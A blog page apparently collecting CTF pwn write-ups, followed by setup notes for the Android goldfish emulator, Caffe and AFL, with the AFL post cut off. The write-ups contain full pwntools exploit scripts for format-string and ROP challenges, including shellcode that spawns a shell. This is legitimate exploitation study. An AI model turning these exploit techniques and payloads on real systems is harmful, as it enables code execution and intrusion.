ctfwiki之Format String

hijack GOT

本题是2016 CCTF 中的pwn3

#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')

myelf = ELF('./pwn3')
myproc = process(myelf.path)

def get_1(name):
    myproc.recvuntil('ftp>')
    myproc.sendline('get')
    myproc.recvuntil('get:')
    myproc.sendline(name)
    data = myproc.recv()
    return data

def put_2(name,content):
    myproc.recvuntil('ftp>')
    myproc.sendline('put')
    myproc.recvuntil('upload:')
    myproc.sendline(name)
    myproc.recvuntil('the content:')
    myproc.sendline(content)

def dir_3():
    myproc.recvuntil('ftp>')
    myproc.sendline('dir')

myproc.recvuntil('Rainism):')
myproc.sendline('rxraclhm')

puts_got = myelf.got['puts']
log.warn('#####puts_got addr: 0x%x#####' % puts_got)
input1 = '%8$s' + p32(puts_got) + '%7$x'
put_2('aaaa',input1)
###
###gdb.attach(myproc,"b printf")
###
puts_addr = u32(get_1('aaaa')[:4])

log.warn('#####puts addr: 0x%x#####' % puts_addr)

puts_libc_offset = 0x5f150
sys_libc_offset = 0x3a950

libc_base = puts_addr - puts_libc_offset
sys_addr = libc_base + sys_libc_offset

log.warn('#####libc_base addr: 0x%x#####' % libc_base)
log.warn('#####sys_addr addr: 0x%x#####' % sys_addr)
##
payload = fmtstr_payload(7, {puts_got: sys_addr})

myproc.sendline('put')
myproc.recvuntil('upload:')
myproc.sendline("/bin/sh;")
myproc.recvuntil('the content:')
myproc.sendline(payload)

get_1('/bin/sh;')

myproc.sendline('dir')

myproc.interactive()

hijack retaddr

本题是三个白帽的pwnme_k0

#coding=utf-8
from pwn import *
context(arch='amd64',os="linux",log_level="debug")

myelf = ELF("./pwnme_k0")
myproc = process(myelf.path)

myproc.recvuntil("Input your username(max lenth:20): ")
myproc.sendline("name")
myproc.recvuntil("Input your password(max lenth:20): ")
passwd = '%6$p'
myproc.sendline(passwd)

##
##gdb.attach(myproc,"b *0x400b39")
##
myproc.recvuntil('>')
myproc.sendline(str(1))
myproc.recvuntil("0x")

data = myproc.recvline().strip()
stack_addr = int(data,16)
ret_stack = stack_addr - 0x38

##将栈上的返回地址覆盖成提权gadget
myproc.recvuntil('>')
myproc.sendline(str(2))
myproc.recvuntil("please input new username(max lenth:20): ")
myproc.sendline(p64(ret_stack))
myproc.recvuntil("please input new password(max lenth:20): ")
myproc.sendline("%2218c%8$hn")

##
myproc.recvuntil('>')
myproc.sendline(str(1))

myproc.interactive()

堆上的格式化字符串漏洞

本题是2015年CSAW中的 contacts

(这个题还没调完,后来有别的事去了,先放一下)

#coding=utf-8
from pwn import *

context(arch='i386',os='linux',log_level='debug')

myelf = ELF('./contacts')
myproc = process(myelf.path)

def Create(c_name,c_phone,c_len,c_desp):
    myproc.recvuntil('>>> ')
    myproc.sendline(str(1))
    myproc.recvuntil("Contact info: ")
    myproc.recvuntil("\tName: ")
    myproc.sendline(c_name)
    myproc.recvuntil("\tEnter Phone No: ")
    myproc.sendline(c_phone)
    myproc.recvuntil("\tLength of description: ")
    myproc.sendline(c_len)
    myproc.recvuntil("\tEnter description:\n\t\t")
    myproc.sendline(c_desp)

def Display():
    myproc.recvuntil('>>> ')
    myproc.sendline(str(4))
    myproc.recvuntil("\tDescription: ")

Create('aaaaaaaa','1234567891',str(50),'%31$paaaa')

Display()
data = myproc.recvuntil('aaaa',drop=True)
libc_start_main = int(data,16) - 247
log.warn("a: 0x%x" % libc_start_main)
libc_base = libc_start_main - 0x18550
log.warn("b: 0x%x" % libc_base)
sys_addr = libc_base + 0x3a950
binsh_addr = libc_base + 0x15910b


payload = flat([sys_addr,'aaaa',binsh_addr,'%6$p%11$pbbbb'])
gdb.attach(myproc,"b *0x08048c22")
Create('xxxxxxxx','2342342234',str(50),payload)
Display()
myproc.recvuntil("\tDescription: ")
data = myproc.recvuntil('bbbb',drop=True)
data = data.split('0x')
print data
ebp_addr = int(data[1],16)
heap_addr = int(data[2],16)

#payoad = '%'+str(ebp_addr-4)+'x'+'%6$n'
#part1 = (ebp_addr-4)/2
#part2 = ebp_addr-4 -part1
#payload = '%'+str(part1)+'x%'+str(part2)+'x%6$n'

payload = fmtstr_payload(6,{ebp_addr:heap_addr})
print payload

Create('eeeeeeee','1231231231',str(400),payload)
Display()

myproc.interactive()
      +------------+
      |  tag 0/1   |
      +------------+v2+76
      |len of desp |
      +------------+v2+72
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |            |
      |   Name     |
      +------------+ v2+8                     +---------+
      |   &heap1   |           +--------+     |         |
      +------------+ v2+4      |  Phone |     |  desp   |
      |   &heap2   |           |        |     |         |
      +------------+ v2        +--------+     +---------+
0x804b0a0                        heap1          heap2

0x804b088   record num

参考wp:

http://geeksspeak.github.io/blog/2015/09/21/csaw-2015-pwn250-contacts/

https://blog.osiris.cyber.nyu.edu/2015/09/28/csaw-ctf-contacts/

https://github.com/osirislab/CTF-Solutions/blob/master/CSAWCTF_2015/2015-10-03-csaw-ctf-contacts.markdown

Read More

ctfwiki之ROP

部门要准备十一月份的比赛,我也跟着报了个名。虽然自己的pwn现在还很水,但是想着趁这个机会督促自己一把,花点时间好好练一些题。平时除了练题,还有其他工作上的事要做,所以这个只是简单地把我做过的题目的write up做了个罗列,还木有时间写详细的分析过程啦。不过想想,除了自己可能也没谁会来看,等以后有时间(呵呵呵)了再回过头来整理吧~

中级ROP

题目1 ret2csu

ret2csu主要是利用__libsc_csu_init()函数中的gadget,如下代码片段:

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn

将0x40061a至0x400624命名为“片段1”,0x400600至0x400614命名为“片段2”。利用ret2csu时,首先将eip劫持到“片段1”,并通过在栈上提前布置rbx,rbp,r12,r13,r14,r15,达到控制寄存器的目的,再利用片段1中的额retn使程序流转到片段2去执行。片段2中会将r13,r14,r15(低32位)分别用于控制rdx,rsi,edi,如此便能控制64位下的前三个函数参数。紧接着有一条call指令,只要提前将r12控制为目标函数(目标函数地址存放的地址),并将rbx置为0,就可以实现任意函数执行了。后面还有个cmp(提前将rbx设置为0,rbp设置为1)以及一些列pop,提前构造好后,程序会再次运行到最后一行0x400624,此时还可以劫持一次eip,让程序继续执行(如回到main函数)。

这里使用的示例程序是level5,分析后,构造的第一次ret2csu状态如下。执行完csu_front(上文中的片段2)后,会继续执行片段1,为了控制最后一行0x400624 retn时的eip,需要在栈上填充0x38字节数据(为了安全执行完0x400616至0x400622之间的代码)。

+--------------------+
|     csu_front:0x400600
+--------------------+
|      r15           |  1
+--------------------+
|      r14           |  got_write
+--------------------+
|      r13           |  8
+--------------------+
|      r12           |  got_write
+--------------------+
|      rbp           |  1
+--------------------+
|      rbx           |  0
+--------------------+
|      ret addr      |  csu_end:0x40061a
+--------------------+
|       ebp          |  'aaaaaaaa'
+--------------------+
|                    |
|      'a'*0x80      |
|                    |
+--------------------+  buf

该题exp如下,用到的libc是我本地ubuntu18.04的:

#coding=utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./level5")
myproc = process(myelf.path)

csu_front = 0x400600
csu_end = 0x40061a

got_write = myelf.got['write']
got_read = myelf.got['read']
bss_addr = myelf.bss()
main_addr = myelf.symbols['main']

def ret2csu(rbx,rbp,r12,r13,r14,r15,next_addr):
    payload = 'a'*0x80  # patch
    payload += 'deadbeef'   # overwrite ebp
    payload += p64(csu_end) # overwrite return addr, jump to csu_end
    payload += p64(rbx)          # set rbx to r15
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    payload += p64(csu_front)    # jump to csu_front,and exec r12
    payload += 'a'*0x38     # 2nd csu_end,and jump to next eip
    payload += p64(next_addr)
    myproc.send(payload)
    
# write(1,got_write,8)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,got_write,8,got_write,1,main_addr)
write_addr = u64(myproc.recv(8))

# read(0,bss_addr,20)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,got_read,20,bss_addr,0,main_addr)
 
# input: p64(exec_addr)+'/bin/sh\x00'
libc_base = write_addr - 0x110250
exec_addr = libc_base + 0xe4e90
bss_data = p64(exec_addr) + "/bin/sh\x00"
myproc.send(bss_data)

# execve("/bin/sh",null,null)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,bss_addr,0,0,bss_addr+8,main_addr)

#gdb.attach(myproc)
#log.warn("write addr is : 0x%x" % write_addr)
myproc.interactive()

题目2 ret2reg

题目3 BROP

高级 ROP

题目1 ret2_dl_runtime_resolve

_dl_runtime_resolve: https://www.jianshu.com/p/57f6474fe4c6

深入了解GOT,PLT和动态链接: https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

以上结合https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/ 可以写一篇笔记记录一下。免得以后忘记。

练习题目我的wp:

#coding=utf-8
from pwn import *

context(arch="i386",os="linux",log_level="debug")

myelf = ELF("./main")
myrop = ROP("./main")
myproc = process(myelf.path)

bss_addr = myelf.bss()
new_esp = bss_addr + 0x500

myrop.raw('a'*112)
myrop.read(0,new_esp,100)
myrop.migrate(new_esp)
#log.warn("myrop is : %s" % myrop.dump())

myproc.recvuntil("Welcome to XDCTF2015~!\n")
myproc.sendline(myrop.chain())

#myrop2 = ROP("./main")
#sh = "/bin/sh"
#myrop2.write(1,new_esp+80,len(sh))
#myrop2.raw('b'*(80 - len(myrop2.chain())))
#myrop2.raw(sh)
#myrop2.raw('a'*(100 - len(myrop2.chain())))
##log.warn("myrop is : %s" % myrop2.dump())
#myproc.sendline(myrop2.chain())
#myproc.interactive()

#myrop2 = ROP("./main")
#sh ="/bin/sh"
#plt_addr = myelf.get_section_by_name('.plt').header.sh_addr
#write_index = (myelf.plt['write'] - plt_addr)/16 -1
#patch_wt_ret = 'aaaa'
#myrop2.raw(plt_addr)
#myrop2.raw(write_index*8)
#myrop2.raw(patch_wt_ret)
#myrop2.raw(1)
#myrop2.raw(new_esp+80)
#myrop2.raw(len(sh))
#myrop2.raw('b'*(80 - len(myrop2.chain())))
#myrop2.raw(sh)
#myrop2.raw('b'*(100 - len(myrop2.chain())))
#
#myproc.sendline(myrop2.chain())
#myproc.interactive()
#

myrop2 = ROP('./main')
sh = "/bin/sh"
plt_addr = myelf.get_section_by_name('.plt').header.sh_addr
rel_plt = myelf.get_section_by_name('.rel.plt').header.sh_addr

write_got = myelf.got['write']
r_info = 0x607

fake_index = new_esp + 24 - rel_plt

myrop2.raw(plt_addr)
myrop2.raw(fake_index)
myrop2.raw('aaaa')
myrop2.raw(1)
myrop2.raw(new_esp+80)
myrop2.raw(len(sh))
myrop2.raw(write_got)
myrop2.raw(r_info)
myrop2.raw('b'*(80-len(myrop2.chain())))
myrop2.raw(sh)
myrop2.raw('b'*(100-len(myrop2.chain())))
myproc.sendline(myrop2.chain())
myproc.interactive()

题目2 SROP

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop

拓展:https://bbs.pediy.com/thread-258047.htm

练习题目我的wp:

#coding=utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./smallest")
myproc = process(myelf.path)

ret_start = 0x4000b0
ret_syscall = 0x4000be

# read(0,&rsp,0x400); read(1,&rsp,0x400)
payload1 = p64(ret_start)*3
myproc.send(payload1)
myproc.send('\xb3')
stack_addr = u64(myproc.recv()[8:16])
log.warn("stack_addr is: 0x%x" % stack_addr)

#read(0,&rsp,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rip = ret_syscall
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr

payload1 = p64(ret_start) + 'a'*8 + str(sigframe)
payload2 = p64(ret_syscall) + 'a'*7
myproc.send(payload1)
myproc.send(payload2)

# new stack - we know the addr
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rip = ret_syscall
sigframe.rdi = stack_addr + 0x150
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr

payload1 = p64(ret_start) + 'a'*8 + str(sigframe)
#log.warn("len: 0x%x " % len(payload1))
payload = payload1 + 'a'*(0x150 - len(payload1)) + "/bin/sh\x00"

payload2 = p64(ret_syscall) + 'a'*7
myproc.send(payload)
myproc.send(payload2)

myproc.interactive()

题目3 ret2VDSO

ROP Tricks

题目1 stack pivoting

#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./b0verfl0w')
myproc = process(myelf.path)

offset = 36

#shellcode_x86 = "\x31\xc0\x50\x68\x2f\x2f\x73"
#shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89"
#shellcode_x86 += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
#shellcode_x86 += "\xcd\x80\x31\xc0\x40\xcd\x80"

shellcode_x86 = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

payload = shellcode_x86 + 'a'*(36- len(shellcode_x86)) + p32(0x08048504)
payload += asm('sub esp,40;jmp esp') 

myproc.recvuntil("What's your name?")
myproc.sendline(payload)

myproc.interactive()

题目2 frame faking

#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./over.over')
myproc = process(myelf.path)
mylibc = myelf.libc

offset = 0x58
total_len = 0x60

##leak stack
payload = 'a'*0x50
myproc.recvuntil('>')
myproc.send(payload)
prev_rbp = u64(myproc.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.warn('recieved: 0x%x' % prev_rbp)

##leak libc,puts(&got_puts)
pop_rdi_ret = 0x400793
rbp1 = prev_rbp-0x20-0x50
ending = 0x4006be
leak_libc_chain = 'a'*8+p64(pop_rdi_ret)+p64(myelf.got['puts'])+p64(myelf.plt['puts'])+p64(0x400676)
payload1 = leak_libc_chain+(0x50-len(leak_libc_chain))*'a'+p64(rbp1)+p64(ending)
myproc.recvuntil('>')
myproc.send(payload1)
leak_puts = u64(myproc.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.warn('recieved: 0x%x' % leak_puts)
log.warn('mylibc.sym: 0x%x' % mylibc.sym['puts'])
libc_base = leak_puts - mylibc.sym['puts']
log.warn('libc_base: 0x%x' % libc_base)

## get shell,execve("/bin/sh\x00",null,null)
pop_rdx_rsi_ret = libc_base + 0x115189
exec_addr = libc_base + mylibc.sym['execve']
bin_sh = libc_base + next(mylibc.search("/bin/sh"))
rbp2 = prev_rbp-0x20-0x50-0x30

exec_chain = flat(['a'*8,p64(pop_rdx_rsi_ret),p64(0),p64(0),p64(pop_rdi_ret),p64(bin_sh),p64(exec_addr)])
payload2 = exec_chain + (0x50-len(exec_chain))*'a' + p64(rbp2) + p64(ending)
myproc.recvuntil('>')
myproc.send(payload2)

#gdb.attach(myproc)
myproc.interactive()

题目3 Stack smash

2015年32c3 ctf readme

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./readme.bin')
myproc = process(myelf.path)

argv0_addr = 0x7fffffffdda8
name_addr = 0x7fffffffdb90
backup_string = 0x400d21
payload = 'a'*(argv0_addr-name_addr) + p64(backup_string)

myproc.recvuntil("Hello!\nWhat's your name? ")
myproc.sendline(payload)
myproc.recvuntil("Please overwrite the flag: ")
myproc.sendline('aaa')
myproc.recv()
myproc.interactive()

题目4 栈上的partial overwrite

2018-安恒杯-babypie

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

myelf = ELF('./babypie')
myproc = process(myelf.path)

payload1 = 'a'*(0x28+1)

#leak canary
myproc.recvuntil("Input your Name:")
myproc.send(payload1)
myproc.recvuntil('a'*0x29)
canary = u64('\x00' + myproc.recv(7))

#overwrite 1 byte
payload2 = 'a'*0x28 + p64(canary) + 'a'*0x8 + '\x3E'

myproc.recvuntil(":\n")
myproc.send(payload2)

myproc.interactive()

2018-XNUCA-gets

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

for i in range(0x1000): 
    myelf = ELF('./gets')
    myproc = process(myelf.path)
    try:
        payload = 'a'*24 + p64(0x40059b)
        payload += 'aaaaaaaa'*5 + p64(0x40059b)
        payload += 'aaaaaaaa'*5 + p64(0x40059b)
        payload += 'a' * 8 * 5 + '\x26\x02'
        myproc.sendline(payload)
        myproc.sendline('ls')
        data = myproc.recv()
        print data
        myproc.interactive()
        myproc.close()
    except Exception:
        myproc.close()
        continue
Read More

android模拟器goldfish环境搭建

1 环境准备

1.1 硬件及主机系统

  • 使用AVD时需要硬件支持KVM。因此现在主机bios中将虚拟化设置开启。
  • x86架构的主机,安装了ubuntu16.04操作系统。

检查系统是否支持虚拟化的两条命令:

kvm-ok

egrep -c '(vmx|svm)' /proc/cpuinfo

1.2 下载goldfish源码

(1)在线方式 - 推荐

访问如下官网,执行git clone将工程克隆到本地,之后可以根据需要选择不同内核版本进行编译。

https://android.googlesource.com/kernel/goldfish.git

(2)离线方式

在官网中下载特定版本的goldfish内核tar包,到ubuntu中解压。

1.3 安装java

参考 安装java jdk的三种方式:https://blog.csdn.net/zbj18314469395/article/details/86064849

1.4 配置交叉编译环境

下载交叉编译器:https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9/

可在以上链接中选择不同的交叉编译器,32位或64位,根据实际情况下载

下载到本地后,配置环境变量

vim ~/.bashrc

export PATH=xxx/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9/bin:$PATH
export PATH=xxx/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9/bin:$PATH
export CROSS_COMPILE=aarch64-linux-android-

source ~/.bashrc

1.5 安装linux版android studio

(1)离线方式 - 推荐 在android studio官网(https://developer.android.com/studio)下载包,本地解压后,进入android-studio/bin/目录执行./studio.h即可启动AS。

(2)在线方式

https://rotolo.dev/android-studio/

sudo apt-add-repository ppa:paolorotolo/android-studio 
sudo apt-get update
sudo apt-get install android-studio

1.6 配置AS

(1)有网络的情况

配置AS的代理,直接连接google

这种方式下的sdk,ndk,AVD system-image等等都可以在线下载,很方便。

(2)没有网络的情况

手工下载android sdk或者system images等等,按照这个网站的指导:https://my.oschina.net/u/862582/blog/349263

另一个手工下载sdk参考:https://www.jianshu.com/p/86b9c57bf838

手工下载ndk参考:https://www.jianshu.com/p/abdad7fd1367

(3)配置ubuntu环境变量

在sdk manager中将需要的组件下载完毕后,设置以下几个目录到环境变量中:sdk/emulator/platform-tools/ndk/avd

vim ~/.bashrc

export ANDROID_HOME=/xxx/xxx/android-sdk-linux
export PATH=$ANDROID_HOME/emulator:$PATH
export PATH=$ANDROID_HOME/platform-tools:$PATH
export PATH=$ANDROID_HOME/ndk/xxx:$PATH
export PATH=~/.android/avd:$PATH

source ~/.bashrc

1.7 使用emulator

android avd命令可以启动android device manager

android -avd xxx 指定xxx镜像启动模拟器(使用AVD manager创建完虚拟设备后,在~/.android/avd目录下会有xxx.ini)

模拟器相关命令参考:https://developer.android.com/studio/run/emulator-commandline?hl=zh-cn

1.8 加载低版本kernel

最新版的android studio和sdk均不支持加载版本<3.10的内核,想加载低版本内核做实验的话,可使用如下链接提供的sdk。

http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz

android - 命令,启动android sdk管理器

android avd - 命令,启动avd manager

emulator -avd xxx - 命令,跟最新版相同

2 编译goldfish内核

假设git clone的goldfish工程在~/kernel/goldfish目录下

cd ~/kernel
cp -r goldfish goldfish44
## 创建一个out44目录,用来存放编译输出
mkdir out44
cd goldfish44
git branch -a
## 从goldfish中拉出kernel4.4分支
git checkout -b android-goldfish-4.4-dev remotes/origin/android-goldfish-4.4-dev
## ~/kernel/goldfish44/arch/arm64/configs目录下有编译配置文件defconfig和ranchu64_defconfig,我们使用ranchu64_defconfig
## 在goldfish44目录下指定好配置文件
make ARCH=arm64 O=../out44 ranchu64_defconfig
make ARCH=arm64 O=../out44/ -j16

编译完成后,如果需要更改配置(如允许内核加载自定义ko模块),操作如下

## 在goldfish44目录下执行
## 图形化配置内核选项
make ARCH=arm64 O=../out44/  menuconfig
## 配置变化的时候执行清理一下
make mrproper
## 开始编译
make ARCH=arm64 O=../out44/ -j16

编译生成的内核文件在如下目录:~/kernel/out44/arch/arm64/boot/Image.gz

3 使用编译的内核启动avd虚拟设备

执行以下命令以自编译的内核启动虚拟机

emulator -avd KernelTest -no-window -no-audio -show-kernel -kernel ~/work/kernel/out49/arch/arm64/boot/Image.gz -no-snapstorage
Read More

caffe的安装与使用

1 caffe安装

1.1 安装依赖

虚拟机为ubuntu 16.04,仅cpu。 按照官网安装相应依赖(https://caffe.berkeleyvision.org/install_apt.html),执行了一下几条命令:

通用依赖:
sudo apt-get install libprotobuf-dev libleveldb-dev libsnappy-dev libopencv-dev libhdf5-serial-dev protobuf-compiler
sudo apt-get install --no-install-recommends libboost-all-dev

blas依赖:
sudo apt-get install libatlas-base-dev

python依赖:
sudo apt-get install python-dev

以下依赖不知是否必须安装:
sudo apt-get install libgflags-dev libgoogle-glog-dev liblmdb-dev

1.2 源码安装

源码地址:https://github.com/BVLC/caffe 官网方法:https://caffe.berkeleyvision.org/installation.html#compilation 参考中文链接:https://www.jianshu.com/p/8878d2bdaf99

1.2.1 编译源码

unzip caffe-master.zip
cd caffe-master
cp Makefile.config.example Makefile.config

更改Makefile.config文件中,如下行:

`CPU_ONLY := 1`前的注释符“#”去掉
将:
INCLUDE_DIRS := $(PYTHON_INCLUDE) /usr/local/include
LIBRARY_DIRS := $(PYTHON_LIB) /usr/local/lib /usr/lib
修改为:
INCLUDE_DIRS := $(PYTHON_INCLUDE) /usr/local/include /usr/include/hdf5/serial
LIBRARY_DIRS := $(PYTHON_LIB) /usr/local/lib /usr/lib /usr/lib/x86_64-linux-gnu/hdf5/serial

执行如下三条命令完成安装:

sudo make all
sudo make test
sudo make runtest

1.2.2 python环境

安装pip:
sudo apt-get install python-pip

安装python借口依赖库:
sudo apt-get install gfortran
cd /home/bling/caffe-master/python
for req in $(cat requirements.txt); do pip install $req; done

验证:
sudo pip install -r requirements.txt

设置环境变量:
sudo vim ~/.bashrc
	export PYTHONPATH=/home/bling/caffe-master/python:$PYTHONPATH
source ~/.bashrc

安装pycaffe

cd /home/bling/caffe-master/
sudo make pycaffe

验证使用,进python环境,输入
import caffe

使用示例

MNIST tutorial: https://caffe.berkeleyvision.org/gathered/examples/mnist.html

reference ImageNet model tutorial: https://caffe.berkeleyvision.org/gathered/examples/imagenet.html

Read More

Linux下AFL的安装与使用

1 从一个test程序开始

1.1 安装AFL

首先,检查本地的clang和llvm是否安装,若未安装则安装一下

sudo apt-get install clang
sudo apt-get install llvm

以上环境确认好后,下载并安装AFL

wget http://lcamtuf.coredump.cx/afl/releases/afl-2.52b.tgz
tar -zxvf afl-2.52b.tgz
cd afl-2.52b
make
sudo make install

以上操作做完,AFL就算是安装完毕啦。现在来看看AFL安装前后代码目录中文件的差别。以下先是安装前的目录:

drwxr-xr-x 10  500  500   4096 Nov  5  2017 .
drwxr-xr-x  3 root root   4096 Jun  2 09:49 ..
-rw-r--r--  1  500  500  23755 Nov  5  2017 afl-analyze.c
-rw-r--r--  1  500  500  15273 Nov  5  2017 afl-as.c
-rw-r--r--  1  500  500  21090 Nov  5  2017 afl-as.h
-rwxr-xr-x  1  500  500  11392 Nov  5  2017 afl-cmin
-rw-r--r--  1  500  500 206076 Nov  5  2017 afl-fuzz.c
-rw-r--r--  1  500  500   8597 Nov  5  2017 afl-gcc.c
-rw-r--r--  1  500  500   5336 Nov  5  2017 afl-gotcpu.c
-rwxr-xr-x  1  500  500   4913 Nov  5  2017 afl-plot
-rw-r--r--  1  500  500  16527 Nov  5  2017 afl-showmap.c
-rw-r--r--  1  500  500  25235 Nov  5  2017 afl-tmin.c
-rwxr-xr-x  1  500  500   3655 Nov  5  2017 afl-whatsup
-rw-r--r--  1  500  500  12565 Nov  5  2017 alloc-inl.h
-rw-r--r--  1  500  500  11216 Nov  5  2017 config.h
-rw-r--r--  1  500  500   6574 Nov  5  2017 debug.h
drwxr-xr-x  2  500  500   4096 Nov  5  2017 dictionaries
drwxr-xr-x  4  500  500   4096 Nov  5  2017 docs
drwxr-xr-x 12  500  500   4096 Nov  5  2017 experimental
-rw-r--r--  1  500  500   2065 Nov  5  2017 hash.h
drwxr-xr-x  2  500  500   4096 Nov  5  2017 libdislocator
drwxr-xr-x  2  500  500   4096 Nov  5  2017 libtokencap
drwxr-xr-x  2  500  500   4096 Nov  5  2017 llvm_mode
-rw-r--r--  1  500  500   6987 Nov  5  2017 Makefile
drwxr-xr-x  3  500  500   4096 Nov  5  2017 qemu_mode
lrwxrwxrwx  1  500  500     24 Nov  5  2017 QuickStartGuide.txt -> docs/QuickStartGuide.txt
lrwxrwxrwx  1  500  500     11 Nov  5  2017 README -> docs/README
drwxr-xr-x  6  500  500   4096 Nov  5  2017 testcases
-rw-r--r--  1  500  500    789 Nov  5  2017 test-instr.c
-rw-r--r--  1  500  500   2292 Nov  5  2017 types.h

安装完成后,代码目录中的文件

drwxr-xr-x 10  500  500   4096 Jun  2 09:47 .
drwxr-xr-x  7 root root   4096 Jun  1 18:42 ..
-rwxr-xr-x  1 root root  90792 Jun  2 09:46 afl-analyze
-rw-r--r--  1  500  500  23755 Nov  5  2017 afl-analyze.c
-rwxr-xr-x  1 root root  50808 Jun  2 09:46 afl-as
-rw-r--r--  1  500  500  15273 Nov  5  2017 afl-as.c
-rw-r--r--  1  500  500  21090 Nov  5  2017 afl-as.h
lrwxrwxrwx  1 root root      7 Jun  2 09:46 afl-clang -> afl-gcc
lrwxrwxrwx  1 root root      7 Jun  2 09:46 afl-clang++ -> afl-gcc
-rwxr-xr-x  1  500  500  11392 Nov  5  2017 afl-cmin
-rwxr-xr-x  1 root root 582872 Jun  2 09:46 afl-fuzz
-rw-r--r--  1  500  500 206076 Nov  5  2017 afl-fuzz.c
lrwxrwxrwx  1 root root      7 Jun  2 09:46 afl-g++ -> afl-gcc
-rwxr-xr-x  1 root root  35376 Jun  2 09:46 afl-gcc
-rw-r--r--  1  500  500   8597 Nov  5  2017 afl-gcc.c
-rwxr-xr-x  1 root root  32240 Jun  2 09:46 afl-gotcpu
-rw-r--r--  1  500  500   5336 Nov  5  2017 afl-gotcpu.c
-rwxr-xr-x  1  500  500   4913 Nov  5  2017 afl-plot
-rwxr-xr-x  1 root root  76840 Jun  2 09:46 afl-showmap
-rw-r--r--  1  500  500  16527 Nov  5  2017 afl-showmap.c
-rwxr-xr-x  1 root root 106280 Jun  2 09:46 afl-tmin
-rw-r--r--  1  500  500  25235 Nov  5  2017 afl-tmin.c
-rwxr-xr-x  1  500  500   3655 Nov  5  2017 afl-whatsup
-rw-r--r--  1  500  500  12565 Nov  5  2017 alloc-inl.h
lrwxrwxrwx  1 root root      6 Jun  2 09:46 as -> afl-as
-rw-r--r--  1  500  500  11216 Nov  5  2017 config.h
-rw-r--r--  1  500  500   6574 Nov  5  2017 debug.h
drwxr-xr-x  2  500  500   4096 Nov  5  2017 dictionaries
drwxr-xr-x  4  500  500   4096 Nov  5  2017 docs
drwxr-xr-x 12  500  500   4096 Nov  5  2017 experimental
-rw-r--r--  1  500  500   2065 Nov  5  2017 hash.h
drwxr-xr-x  2  500  500   4096 Nov  5  2017 libdislocator
drwxr-xr-x  2  500  500   4096 Nov  5  2017 libtokencap
drwxr-xr-x  2  500  500   4096 Nov  5  2017 llvm_mode
-rw-r--r--  1  500  500   6987 Nov  5  2017 Makefile
drwxr-xr-x  3  500  500   4096 Nov  5  2017 qemu_mode
lrwxrwxrwx  1  500  500     24 Nov  5  2017 QuickStartGuide.txt -> docs/QuickStartGuide.txt
lrwxrwxrwx  1  500  500     11 Nov  5  2017 README -> docs/README
drwxr-xr-x  6  500  500   4096 Nov  5  2017 testcases
-rw-r--r--  1  500  500    789 Nov  5  2017 test-instr.c
-rw-r--r--  1  500  500   2292 Nov  5  2017 types.h

可以看到afl安装后,文件夹下多了些二进制文件,是不是很简单。但是,在使用AFL进行fuzz测试前,一定要设置一下core_pattern,否则会报错哦。

root@x:~/afl-test# cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P
root@x:~/afl-test# echo core > /proc/sys/kernel/core_pattern
root@x:~/afl-test# cat /proc/sys/kernel/core_pattern
core

1.2 跑起来看看

测试程序的代码使用了先知社区的示例代码,如下。平时我们编译c代码使用的是gcc,现在为了使用AFL进行fuzz,我们必须使用1.1节中编译出来的afl-gcc对目标代码进行插桩编译。

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <signal.h> 

int vuln(char *str)
{
    int len = strlen(str);
    if(str[0] == 'A' && len == 66)
    {
        raise(SIGSEGV);
        //如果输入的字符串的首字符为A并且长度为66,则异常退出
    }
